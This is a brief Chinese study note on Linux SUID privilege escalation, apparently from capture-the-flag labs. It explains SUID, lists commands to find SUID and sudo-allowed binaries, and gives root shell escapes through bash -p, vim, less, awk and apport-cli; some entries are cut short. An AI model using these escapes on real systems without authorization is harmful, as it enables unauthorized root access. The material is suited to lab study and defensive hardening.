仅做学习记录用
SUID原理
SUID旨在解决如何让普通用户执行root才能执行的命令 对于这个bash而言
1 | augustus@GoodGames:~$ ls -la bash |
这就是一个很普通的bash 权限列表也是常见的rwx 而且是一个很常规的用户bash 但是经过如下的操作之后就变成了一个可以SUID提权的bash
1 | root@3a453ab39d3d:~# chown root:root /home/augustus/bash |
先是将用户的这个bash所有者改为root 再赋予4777权限 4表示设置 SUID特殊权限 当文件被设置为SUID时 其他用户执行该文件时会临时拥有文件所有者的权限 777代表赋予其他用户可执行的权限
- augustus 对于这个bash有执行权限(777了)
- bash所有者为root
因此augustus用户可以执行这个bash 并使用-p参数即可以root来执行 至此完成SUID提权
1 | augustus@GoodGames:~$ ./bash -p |
搜集
两种不同的方法寻找 一种是直接匹配权限位是否带有s(或4开头)
1 | find / -perm -u=s -type f 2>/dev/null |
另一种是用getcap命令查询特殊的SUID
1 | getcap -r |
最经常用的还是sudo
1 | sudo -l |
常用提权
find
1 | # shell |
vim
进入 vim 命令模式 通过 vim 拿到 shell
1 | :set shell = '/bin/sh' |
bash
赋予SUID权限之后
1 | bash -p |
less/more
在出现以下提示后 输入!ls 即可执行
1 | WARNING: terminal is not fully functional |
awk
1 | awk 'BEGIN {system("/bin/bash")}' |
apport
没崩溃文件那可以先制造一个
1 | logan@devvortex:/var/crash$ sleep 20 & |
然后再进行利用
1 | logan@devvortex: sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash |